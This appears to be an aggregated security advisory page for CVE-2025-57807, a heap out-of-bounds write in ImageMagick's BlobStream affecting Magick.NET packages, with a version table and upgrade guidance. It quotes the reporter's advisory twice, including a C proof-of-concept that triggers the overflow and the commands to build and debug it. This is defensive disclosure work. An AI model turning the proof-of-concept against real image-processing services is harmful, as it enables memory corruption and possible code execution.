CVE-2025-57807: Magick.NET Q16 x64 ImageMagick BlobStream Forward-Seek Under-Allocation Vulnerability

LOW
Advisory Identifier: GHSA-23hg-53q6-hqfg
CVSS 3.8
CWE-122 CWE-787 CWE-131
Published
Advisory Summary

CVE-2025-57807 is a LOW (CVSS 3.8) imagemagick blobstream forward-seek under-allocation vulnerability (CWE-122: Heap-based Buffer Overflow) affecting Magick.NET Q16 x64 libraries in the NuGet ecosystem. The issue involves imagemagick blobstream forward-seek under-allocation. Remediation is available by upgrading affected packages to version 14.8.2.

CVE-2025-57807 at a Glance

CVE Identifier CVE-2025-57807
GHSA Identifier GHSA-23hg-53q6-hqfg
Severity LOW
CVSS v3.1 Base Score 3.8
CWE Classification CWE-122: Heap-based Buffer Overflow
Affected Product Magick.NET Q16 x64
Package Ecosystem NuGet
Published Date
Last Updated

Security Impact

CVSS: 3.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:U/C:L/I:L/A:L).

Attack Vector Local (AV:L)
Attack Complexity High (AC:H)
Privileges Required High (PR:H)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality Low (C:L)
Integrity Low (I:L)
Availability Low (A:L)

How to Fix CVE-2025-57807

To remediate this vulnerability, upgrade all affected Magick.NET Q16 x64 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

Magick.NET-Q16-x64 fixed: 14.8.2
Upgrade Magick.NET-Q16-x64 to 14.8.2
Magick.NET-Q8-x64 fixed: 14.8.2
Upgrade Magick.NET-Q8-x64 to 14.8.2
Magick.NET-Q16-HDRI-x64 fixed: 14.8.2
Upgrade Magick.NET-Q16-HDRI-x64 to 14.8.2
Magick.NET-Q8-OpenMP-x64 fixed: 14.8.2
Upgrade Magick.NET-Q8-OpenMP-x64 to 14.8.2
Magick.NET-Q16-HDRI-OpenMP-x64 fixed: 14.8.2
Upgrade Magick.NET-Q16-HDRI-OpenMP-x64 to 14.8.2
Magick.NET-Q16-OpenMP-x64 fixed: 14.8.2
Upgrade Magick.NET-Q16-OpenMP-x64 to 14.8.2
Magick.NET-Q8-arm64 fixed: 14.8.2
Upgrade Magick.NET-Q8-arm64 to 14.8.2
Magick.NET-Q16-arm64 fixed: 14.8.2
Upgrade Magick.NET-Q16-arm64 to 14.8.2
Magick.NET-Q16-OpenMP-arm64 fixed: 14.8.2
Upgrade Magick.NET-Q16-OpenMP-arm64 to 14.8.2
Magick.NET-Q8-OpenMP-arm64 fixed: 14.8.2
Upgrade Magick.NET-Q8-OpenMP-arm64 to 14.8.2
Magick.NET-Q16-HDRI-OpenMP-arm64 fixed: 14.8.2
Upgrade Magick.NET-Q16-HDRI-OpenMP-arm64 to 14.8.2
Magick.NET-Q16-HDRI-arm64 fixed: 14.8.2
Upgrade Magick.NET-Q16-HDRI-arm64 to 14.8.2
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for Magick.NET-Q16-x64

How to Check if You Are Affected

To determine whether your application is affected by CVE-2025-57807, inspect your project dependencies for Magick.NET Q16 x64:

inspect dependencies for Magick.NET-Q16-x64

Analyze the terminal output to locate any version of Magick.NET Q16 x64 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 14.8.2), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-122: Heap-based Buffer Overflow, where a heap overflow condition is a buffer overflow, where the buffer that can be overwritten is allocated in the heap portion of memory, generally meaning that the buffer was allocated using a routine such as malloc(). In Magick.NET Q16 x64, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

**Reporter:** Lumina Mescuwa **Product:** ImageMagick 7 (MagickCore) **Component:** `MagickCore/blob.c` (Blob I/O - BlobStream) **Tested:** 7.1.2-0 (source tag) and 7.1.2-1 (Homebrew), macOS arm64, clang-17, Q16-HDRI **Impact:** Heap out-of-bounds **WRITE** (attacker-controlled bytes at attacker-chosen offset) → memory corruption; potential code execution --- ## Executive Summary For memory-backed blobs (**BlobStream**), [`SeekBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5106-L5134) permits advancing the stream **offset** beyond the current end without increasing capacity. The subsequent [`WriteBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5915-L5938) then expands by **`quantum + length`** (amortized) instead of **`offset + length`**, and copies to `data + offset`. When `offset ≫ extent`, the copy targets memory beyond the allocation, producing a deterministic heap write on 64-bit builds. No 2⁶⁴ arithmetic wrap, external delegates, or policy settings are required. --- ## Affected Scope - **Versions confirmed:** 7.1.2-0, 7.1.2-1 - **Architectures:** Observed on macOS arm64; architecture-agnostic on LP64 - Paths: MagickCore blob subsystem — **BlobStream** ([`SeekBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5106-L5134) and [`WriteBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5915-L5938)). - **Not required:** External delegates; special policies; integer wraparound --- ## Technical Root Cause **Types (LP64):** `offset: MagickOffsetType` (signed 64-bit) `extent/length/quantum: size_t` (unsigned 64-bit) `data: unsigned char*` **Contract mismatch:** - [`SeekBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5106-L5134) (BlobStream) updates `offset` to arbitrary positions, including past end, **without** capacity adjustment. - [`WriteBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5915-L5938) tests `offset + length >= extent` and grows **by** `length + quantum`, doubles `quantum`, reallocates to `extent + 1`, then: ``` q = data + (size_t)offset; memmove(q, src, length); ``` There is **no guarantee** that `extent ≥ offset + length` post-growth. With `offset ≫ extent`, `q` is beyond the allocation. **Wrap-free demonstration:** Initialize `extent=1`, write one byte (`offset=1`), seek to `0x10000000` (256 MiB), then write 3–4 bytes. Growth remains << `offset + length`; the copy overruns the heap buffer. --- ## Exploitability & Reachability - **Primitive:** Controlled bytes written at a controlled displacement from the buffer base. - **Reachability:** Any encode-to-memory flow that forward-seeks prior to writing (e.g., header back-patching, reserved-space strategies). Even if current encoders/writers avoid this, the API contract **permits** it, thus creating a latent sink for first- or third-party encoders/writers. - **Determinism:** Once a forward seek past end occurs, the first subsequent write reliably corrupts memory. --- ## Impact Assessment - **Integrity:** High - adjacent object/metadata overwrite plausible. - **Availability:** High - reliably crashable (ASan and non-ASan). - **Confidentiality:** High - Successful exploitation to RCE allows the attacker to read all data accessible by the compromised process. - **RCE plausibility:** Typical of heap OOB writes in long-lived image services; allocator/layout dependent. --- ## CVSS v3.1 Rationale (9.8) - **AV:N / PR:N / UI:N** - server-side image processing is commonly network-reachable without auth or user action. - **AC:L** - a single forward seek + write suffices; no races or specialized state. - **S:U** - corruption localized to the ImageMagick process. - **C:H / I:H / A:H** - A successful exploit leads to RCE, granting full control over the process. This results in a total loss of Confidentiality (reading sensitive data), Integrity (modifying files/data), and Availability (terminating the service). _Base scoring assumes successful exploitation; environmental mitigations are out of scope of Base metrics._ --- ## Violated Invariant > **Before copying `length` bytes at `offset`, enforce `extent ≥ offset + length` with overflow-checked arithmetic.** The BlobStream growth policy preserves amortized efficiency but fails to enforce this **per-write** safety invariant. --- ## Remediation (Principle) In [`WriteBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5915-L5938) (BlobStream case): 1. **Checked requirement:** `need = (size_t)offset + length;` → if `need < (size_t)offset`, overflow → fail. 2. **Ensure capacity ≥ need:** `target = MagickMax(extent + quantum + length, need);` (Optionally loop, doubling `quantum`, until `extent ≥ need` to preserve amortization.) 3. **Reallocate to `target + 1` before copying;** then perform the move. **Companion hardening (recommended):** - Document or restrict [`SeekBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5106-L5134) on BlobStream so forward seeks either trigger explicit growth/zero-fill or require the subsequent write to meet the invariant. - Centralize blob arithmetic in checked helpers. - Unit tests: forward-seek-then-write (success and overflow-reject). --- ## Regression & Compatibility - **Behavior change:** Forward-seeked writes will either allocate to required size or fail cleanly (overflow/alloc-fail). - **Memory profile:** Single writes after very large seeks may allocate large buffers; callers requiring sparse behavior should use file-backed streams. --- ## Vendor Verification Checklist - Reproduce with a minimal in-memory BlobStream harness under ASan. - Apply fix; verify `extent ≥ offset + length` at all write sites. - Add forward-seek test cases (positive/negative). - Audit other growth sites (`SetBlobExtent`, stream helpers). - Clarify BlobStream seek semantics in documentation. - Unit test: forward seek to large offset on **BlobStream** followed by 1–8 byte writes; assert either growth to `need` or clean failure. --- # PoC / Reproduction / Notes ## Environment - **OS/Arch:** macOS 14 (arm64) - **Compiler:** clang-17 with AddressSanitizer - **ImageMagick:** Q16-HDRI - **Prefix:** `~/opt/im-7.1.2-0` - **`pkg-config`:** from PATH (no hard-coded `/usr/local/...`) --- ## Build ImageMagick 7.1.2-0 (static, minimal) ```bash ./configure --prefix="$HOME/opt/im-7.1.2-0" --enable-hdri --with-quantum-depth=16 \ --disable-shared --enable-static --without-modules \ --without-magick-plus-plus --disable-openmp --without-perl \ --without-x --without-lqr --without-gslib make -j"$(sysctl -n hw.ncpu)" make install "$HOME/opt/im-7.1.2-0/bin/magick" -version > magick_version.txt ``` --- ## Build & Run the PoC (memory-backed BlobStream) **`poc.c`:** _Uses private headers (`blob-private.h`) to exercise blob internals; a public-API variant (custom streams) is feasible but unnecessary for triage._ ```c // poc.c #include <stdio.h> #include <stdlib.h> #include <MagickCore/MagickCore.h> #include <MagickCore/blob.h> #include "MagickCore/blob-private.h" int main(int argc, char **argv) { MagickCoreGenesis(argv[0], MagickTrue); ExceptionInfo *e = AcquireExceptionInfo(); ImageInfo *ii = AcquireImageInfo(); Image *im = AcquireImage(ii, e); if (!im) return 1; // 1-byte memory blob → BlobStream unsigned char *buf = (unsigned char*) malloc(1); buf[0] = 0x41; AttachBlob(im->blob, buf, 1); // type=BlobStream, extent=1, offset=0 SetBlobExempt(im, MagickTrue); // don't free our malloc'd buf // Step 1: write 1 byte (creates BlobInfo + sets offset=1) unsigned char A = 0x42; (void) WriteBlob(im, 1, &A); fprintf(stderr, "[+] after 1 byte: off=%lld len=%zu\n", (long long) TellBlob(im), (size_t) GetBlobSize(im)); // Step 2: seek way past end without growing capacity const MagickOffsetType big = (MagickOffsetType) 0x10000000; // 256 MiB (void) SeekBlob(im, big, SEEK_SET); fprintf(stderr, "[+] after seek: off=%lld len=%zu\n", (long long) TellBlob(im), (size_t) GetBlobSize(im)); // Step 3: small write → reallocation grows by quantum+length, not to offset+length // memcpy then writes to data + offset (OOB) const unsigned char payload[] = "PWN"; (void) WriteBlob(im, sizeof(payload), payload); // If we get here, it didn't crash fprintf(stderr, "[-] no crash; check ASan flags.\n"); (void) CloseBlob(im); DestroyImage(im); DestroyImageInfo(ii); DestroyExceptionInfo(e); MagickCoreTerminus(); return 0; } ``` --- `run:` ```bash # Use the private prefix for pkg-config export PKG_CONFIG_PATH="$HOME/opt/im-7.1.2-0/lib/pkgconfig:$PKG_CONFIG_PATH" # Strict ASan for crisp failure export ASAN_OPTIONS='halt_on_error=1:abort_on_error=1:detect_leaks=0:fast_unwind_on_malloc=0' # Compile (static link pulls transitive deps via --static) clang -std=c11 -g -O1 -fno-omit-frame-pointer -fsanitize=address -o poc poc.c \ $(pkg-config --cflags MagickCore-7.Q16HDRI) \ $(pkg-config --static --libs MagickCore-7.Q16HDRI) # Execute and capture ./poc 2>&1 | tee asan.log ``` **Expected markers prior to the fault:** ``` [+] after 1 byte: off=1 len=1 [+] after seek: off=268435456 len=1 ``` An ASan **WRITE** crash in [`WriteBlob`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5915-L5938) follows (top frames: `WriteBlob blob.c:<line>`, then `_platform_memmove` / `__sanitizer_internal_memmove`). --- ## Debugger Verification (manual) LLDB can be used to snapshot the invariants; ASan alone is sufficient. ``` lldb ./poc (lldb) settings set use-color false (lldb) break set -n WriteBlob (lldb) run # First stop (prime write) (lldb) frame var length (lldb) frame var image->blob->type image->blob->offset image->blob->length image->blob->extent image->blob->quantum image->blob->mapped (lldb) continue # Second stop (post-seek write) (lldb) frame var length (lldb) frame var image->blob->type image->blob->offset image->blob->length image->blob->extent image->blob->quantum image->blob->mapped (lldb) expr -- (unsigned long long)image->blob->offset + (unsigned long long)length (lldb) expr -- (void*)((unsigned char*)image->blob->data + (size_t)image->blob->offset) # Into the fault; if inside memmove (no locals): (lldb) bt (lldb) frame select 1 (lldb) frame var image->blob->offset image->blob->length image->blob->extent image->blob->quantum ``` **Expected at second stop:** `type = BlobStream` · `offset ≈ 0x10000000` (256 MiB) · `length ≈ 3–4` · `extent ≈ 64 KiB` (≪ `offset + length`) · `quantum ≈ 128 KiB` · `mapped = MagickFalse` · `data + offset` far beyond base; next `continue` crashes in `_platform_memmove`. --- ## Credits **Reported by:** Lumina Mescuwa ---

CVE-2025-57807 Affected Magick.NET Q16 x64 Versions

12 component(s)
Fixed Versions:
14.8.2
Product / Package Ecosystem Affected Versions Fixed Version
Magick.NET-Q16-x64
NuGet
< 14.8.2
14.8.2
Magick.NET-Q8-x64
NuGet
< 14.8.2
14.8.2
Magick.NET-Q16-HDRI-x64
NuGet
< 14.8.2
14.8.2
Magick.NET-Q8-OpenMP-x64
NuGet
< 14.8.2
14.8.2
Magick.NET-Q16-HDRI-OpenMP-x64
NuGet
< 14.8.2
14.8.2
Magick.NET-Q16-OpenMP-x64
NuGet
< 14.8.2
14.8.2
Magick.NET-Q8-arm64
NuGet
< 14.8.2
14.8.2
Magick.NET-Q16-arm64
NuGet
< 14.8.2
14.8.2
Magick.NET-Q16-OpenMP-arm64
NuGet
< 14.8.2
14.8.2
Magick.NET-Q8-OpenMP-arm64
NuGet
< 14.8.2
14.8.2
Magick.NET-Q16-HDRI-OpenMP-arm64
NuGet
< 14.8.2
14.8.2
Magick.NET-Q16-HDRI-arm64
NuGet
< 14.8.2
14.8.2

References

Frequently Asked Questions

What is CVE-2025-57807?
CVE-2025-57807 is a security vulnerability in Magick.NET Q16 x64 involving ImageMagick BlobStream Forward-Seek Under-Allocation under CWE-122: Heap-based Buffer Overflow.
Which Magick.NET Q16 x64 versions are affected?
Affected versions include releases prior to 14.8.2 across affected packages: Magick.NET-Q16-x64, Magick.NET-Q8-x64, Magick.NET-Q16-HDRI-x64, Magick.NET-Q8-OpenMP-x64, Magick.NET-Q16-HDRI-OpenMP-x64, Magick.NET-Q16-OpenMP-x64, Magick.NET-Q8-arm64, Magick.NET-Q16-arm64, Magick.NET-Q16-OpenMP-arm64, Magick.NET-Q8-OpenMP-arm64, Magick.NET-Q16-HDRI-OpenMP-arm64, Magick.NET-Q16-HDRI-arm64.
What version fixes CVE-2025-57807?
Upgrading to 14.8.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is Magick.NET-Q16-x64 affected?
Yes, Magick.NET-Q16-x64 is affected in releases prior to 14.8.2. Upgrade your dependency to 14.8.2 or later.
Is Magick.NET-Q8-x64 affected?
Yes, Magick.NET-Q8-x64 is affected in releases prior to 14.8.2. Upgrade your dependency to 14.8.2 or later.
What is the CVSS score of CVE-2025-57807?
CVE-2025-57807 has a CVSS v3.1 base score of 3.8 (LOW) with vector string CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:U/C:L/I:L/A:L.
What CWE is associated with CVE-2025-57807?
CVE-2025-57807 is classified under CWE-122: Heap-based Buffer Overflow (A heap overflow condition is a buffer overflow, where the buffer that can be overwritten is allocated in the heap portion of memory, generally meaning that the buffer was allocated using a routine such as malloc().).
How can I check NuGet dependencies for CVE-2025-57807?
Run the dependency tree command: 'inspect dependencies for Magick.NET-Q16-x64'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-23hg-53q6-hqfg",
  "modified" : "2025-11-03T21:34:26Z",
  "published" : "2025-09-05T20:09:19Z",
  "aliases" : [ "CVE-2025-57807" ],
  "summary" : "ImageMagick BlobStream Forward-Seek Under-Allocation",
  "details" : "**Reporter:** Lumina Mescuwa  \n**Product:** ImageMagick 7 (MagickCore)  \n**Component:** `MagickCore/blob.c` (Blob I/O - BlobStream)  \n**Tested:** 7.1.2-0 (source tag) and 7.1.2-1 (Homebrew), macOS arm64, clang-17, Q16-HDRI  \n**Impact:** Heap out-of-bounds **WRITE** (attacker-controlled bytes at attacker-chosen offset) → memory corruption; potential code execution  \n\n---\n\n## Executive Summary\n\nFor memory-backed blobs (**BlobStream**), [`SeekBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5106-L5134) permits advancing the stream **offset** beyond the current end without increasing capacity. The subsequent [`WriteBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5915-L5938) then expands by **`quantum + length`** (amortized) instead of **`offset + length`**, and copies to `data + offset`. When `offset ≫ extent`, the copy targets memory beyond the allocation, producing a deterministic heap write on 64-bit builds. No 2⁶⁴ arithmetic wrap, external delegates, or policy settings are required.\n\n---\n\n## Affected Scope\n\n- **Versions confirmed:** 7.1.2-0, 7.1.2-1\n    \n- **Architectures:** Observed on macOS arm64; architecture-agnostic on LP64\n    \n- Paths: MagickCore blob subsystem — **BlobStream** ([`SeekBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5106-L5134) and [`WriteBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5915-L5938)).\n    \n- **Not required:** External delegates; special policies; integer wraparound\n    \n\n---\n\n## Technical Root Cause\n\n**Types (LP64):**  \n`offset: MagickOffsetType` (signed 64-bit)  \n`extent/length/quantum: size_t` (unsigned 64-bit)  \n`data: unsigned char*`\n\n**Contract mismatch:**\n\n- [`SeekBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5106-L5134) (BlobStream) updates `offset` to arbitrary positions, including past end, **without** capacity adjustment.\n    \n- [`WriteBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5915-L5938) tests `offset + length >= extent` and grows **by** `length + quantum`, doubles `quantum`, reallocates to `extent + 1`, then:\n    \n    ```\n    q = data + (size_t)offset;\n    memmove(q, src, length);\n    ```\n    \n    There is **no guarantee** that `extent ≥ offset + length` post-growth. With `offset ≫ extent`, `q` is beyond the allocation.\n    \n\n**Wrap-free demonstration:**  \nInitialize `extent=1`, write one byte (`offset=1`), seek to `0x10000000` (256 MiB), then write 3–4 bytes. Growth remains << `offset + length`; the copy overruns the heap buffer.\n\n---\n\n## Exploitability & Reachability\n\n- **Primitive:** Controlled bytes written at a controlled displacement from the buffer base.\n    \n- **Reachability:** Any encode-to-memory flow that forward-seeks prior to writing (e.g., header back-patching, reserved-space strategies). Even if current encoders/writers avoid this, the API contract **permits** it, thus creating a latent sink for first- or third-party encoders/writers.\n    \n- **Determinism:** Once a forward seek past end occurs, the first subsequent write reliably corrupts memory.\n    \n\n---\n\n## Impact Assessment\n\n- **Integrity:** High - adjacent object/metadata overwrite plausible.\n    \n- **Availability:** High - reliably crashable (ASan and non-ASan).\n    \n- **Confidentiality:** High - Successful exploitation to RCE allows the attacker to read all data accessible by the compromised process.\n    \n- **RCE plausibility:** Typical of heap OOB writes in long-lived image services; allocator/layout dependent.\n    \n\n---\n\n## CVSS v3.1 Rationale (9.8)\n\n- **AV:N / PR:N / UI:N** - server-side image processing is commonly network-reachable without auth or user action.\n    \n- **AC:L** - a single forward seek + write suffices; no races or specialized state.\n    \n- **S:U** - corruption localized to the ImageMagick process.\n    \n- **C:H / I:H / A:H** - A successful exploit leads to RCE, granting full control over the process. This results in a total loss of Confidentiality (reading sensitive data), Integrity (modifying files/data), and Availability (terminating the service).\n    \n\n_Base scoring assumes successful exploitation; environmental mitigations are out of scope of Base metrics._\n\n---\n\n## Violated Invariant\n\n> **Before copying `length` bytes at `offset`, enforce `extent ≥ offset + length` with overflow-checked arithmetic.**\n\nThe BlobStream growth policy preserves amortized efficiency but fails to enforce this **per-write** safety invariant.\n\n---\n\n## Remediation (Principle)\n\nIn [`WriteBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5915-L5938) (BlobStream case):\n\n1. **Checked requirement:**  \n    `need = (size_t)offset + length;` → if `need < (size_t)offset`, overflow → fail.\n    \n2. **Ensure capacity ≥ need:**  \n    `target = MagickMax(extent + quantum + length, need);`  \n    (Optionally loop, doubling `quantum`, until `extent ≥ need` to preserve amortization.)\n    \n3. **Reallocate to `target + 1` before copying;** then perform the move.\n    \n\n**Companion hardening (recommended):**\n\n- Document or restrict [`SeekBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5106-L5134) on BlobStream so forward seeks either trigger explicit growth/zero-fill or require the subsequent write to meet the invariant.\n    \n- Centralize blob arithmetic in checked helpers.\n    \n- Unit tests: forward-seek-then-write (success and overflow-reject).\n    \n\n---\n\n## Regression & Compatibility\n\n- **Behavior change:** Forward-seeked writes will either allocate to required size or fail cleanly (overflow/alloc-fail).\n    \n- **Memory profile:** Single writes after very large seeks may allocate large buffers; callers requiring sparse behavior should use file-backed streams.\n    \n\n---\n\n## Vendor Verification Checklist\n\n- Reproduce with a minimal in-memory BlobStream harness under ASan.\n    \n- Apply fix; verify `extent ≥ offset + length` at all write sites.\n    \n- Add forward-seek test cases (positive/negative).\n    \n- Audit other growth sites (`SetBlobExtent`, stream helpers).\n    \n- Clarify BlobStream seek semantics in documentation.\n    \n- Unit test: forward seek to large offset on **BlobStream** followed by 1–8 byte writes; assert either growth to `need` or clean failure.\n    \n\n---\n\n# PoC / Reproduction / Notes\n\n## Environment\n\n- **OS/Arch:** macOS 14 (arm64)\n    \n- **Compiler:** clang-17 with AddressSanitizer\n    \n- **ImageMagick:** Q16-HDRI\n    \n- **Prefix:** `~/opt/im-7.1.2-0`\n    \n- **`pkg-config`:** from PATH (no hard-coded `/usr/local/...`)\n    \n\n---\n\n## Build ImageMagick 7.1.2-0 (static, minimal)\n\n```bash\n./configure --prefix=\"$HOME/opt/im-7.1.2-0\" --enable-hdri --with-quantum-depth=16 \\\n  --disable-shared --enable-static --without-modules \\\n  --without-magick-plus-plus --disable-openmp --without-perl \\\n  --without-x --without-lqr --without-gslib\n\nmake -j\"$(sysctl -n hw.ncpu)\"\nmake install\n\n\"$HOME/opt/im-7.1.2-0/bin/magick\" -version > magick_version.txt\n```\n\n---\n\n## Build & Run the PoC (memory-backed BlobStream)\n\n**`poc.c`:**  \n_Uses private headers (`blob-private.h`) to exercise blob internals; a public-API variant (custom streams) is feasible but unnecessary for triage._\n\n```c\n// poc.c\n\n#include <stdio.h>\n\n#include <stdlib.h>\n\n#include <MagickCore/MagickCore.h>\n\n#include <MagickCore/blob.h>\n\n#include \"MagickCore/blob-private.h\"\n\n  \n\nint main(int argc, char **argv) {\n\nMagickCoreGenesis(argv[0], MagickTrue);\n\nExceptionInfo *e = AcquireExceptionInfo();\n\nImageInfo *ii = AcquireImageInfo();\n\nImage *im = AcquireImage(ii, e);\n\nif (!im) return 1;\n\n  \n\n// 1-byte memory blob → BlobStream\n\nunsigned char *buf = (unsigned char*) malloc(1);\n\nbuf[0] = 0x41;\n\nAttachBlob(im->blob, buf, 1); // type=BlobStream, extent=1, offset=0\n\nSetBlobExempt(im, MagickTrue); // don't free our malloc'd buf\n\n  \n\n// Step 1: write 1 byte (creates BlobInfo + sets offset=1)\n\nunsigned char A = 0x42;\n\n(void) WriteBlob(im, 1, &A);\n\nfprintf(stderr, \"[+] after 1 byte: off=%lld len=%zu\\n\",\n\n(long long) TellBlob(im), (size_t) GetBlobSize(im));\n\n  \n\n// Step 2: seek way past end without growing capacity\n\nconst MagickOffsetType big = (MagickOffsetType) 0x10000000; // 256 MiB\n\n(void) SeekBlob(im, big, SEEK_SET);\n\nfprintf(stderr, \"[+] after seek: off=%lld len=%zu\\n\",\n\n(long long) TellBlob(im), (size_t) GetBlobSize(im));\n\n  \n\n// Step 3: small write → reallocation grows by quantum+length, not to offset+length\n\n// memcpy then writes to data + offset (OOB)\n\nconst unsigned char payload[] = \"PWN\";\n\n(void) WriteBlob(im, sizeof(payload), payload);\n\n  \n\n// If we get here, it didn't crash\n\nfprintf(stderr, \"[-] no crash; check ASan flags.\\n\");\n\n  \n\n(void) CloseBlob(im);\n\nDestroyImage(im); DestroyImageInfo(ii); DestroyExceptionInfo(e);\n\nMagickCoreTerminus();\n\nreturn 0;\n\n}\n```\n\n---\n\n`run:`\n\n```bash\n# Use the private prefix for pkg-config\nexport PKG_CONFIG_PATH=\"$HOME/opt/im-7.1.2-0/lib/pkgconfig:$PKG_CONFIG_PATH\"\n\n# Strict ASan for crisp failure\nexport ASAN_OPTIONS='halt_on_error=1:abort_on_error=1:detect_leaks=0:fast_unwind_on_malloc=0'\n\n# Compile (static link pulls transitive deps via --static)\nclang -std=c11 -g -O1 -fno-omit-frame-pointer -fsanitize=address -o poc poc.c \\\n  $(pkg-config --cflags MagickCore-7.Q16HDRI) \\\n  $(pkg-config --static --libs MagickCore-7.Q16HDRI)\n\n# Execute and capture\n./poc 2>&1 | tee asan.log\n```\n\n**Expected markers prior to the fault:**\n\n```\n[+] after 1 byte: off=1 len=1\n[+] after seek:  off=268435456 len=1\n```\n\nAn ASan **WRITE** crash in [`WriteBlob`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5915-L5938) follows (top frames: `WriteBlob blob.c:<line>`, then `_platform_memmove` / `__sanitizer_internal_memmove`).\n\n---\n\n## Debugger Verification (manual)\n\nLLDB can be used to snapshot the invariants; ASan alone is sufficient.\n\n```\nlldb ./poc\n(lldb) settings set use-color false\n(lldb) break set -n WriteBlob\n(lldb) run\n\n# First stop (prime write)\n(lldb) frame var length\n(lldb) frame var image->blob->type image->blob->offset image->blob->length image->blob->extent image->blob->quantum image->blob->mapped\n(lldb) continue\n\n# Second stop (post-seek write)\n(lldb) frame var length\n(lldb) frame var image->blob->type image->blob->offset image->blob->length image->blob->extent image->blob->quantum image->blob->mapped\n(lldb) expr -- (unsigned long long)image->blob->offset + (unsigned long long)length\n(lldb) expr -- (void*)((unsigned char*)image->blob->data + (size_t)image->blob->offset)\n\n# Into the fault; if inside memmove (no locals):\n(lldb) bt\n(lldb) frame select 1\n(lldb) frame var image->blob->offset image->blob->length image->blob->extent image->blob->quantum\n```\n\n**Expected at second stop:**  \n`type = BlobStream` · `offset ≈ 0x10000000` (256 MiB) · `length ≈ 3–4` · `extent ≈ 64 KiB` (≪ `offset + length`) · `quantum ≈ 128 KiB` · `mapped = MagickFalse` · `data + offset` far beyond base; next `continue` crashes in `_platform_memmove`.\n    \n---\n\n## Credits\n\n**Reported by:** Lumina Mescuwa\n\n---",
  "severity" : [ {
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  "references" : [ {
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    "url" : "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-23hg-53q6-hqfg"
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    "type" : "ADVISORY",
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}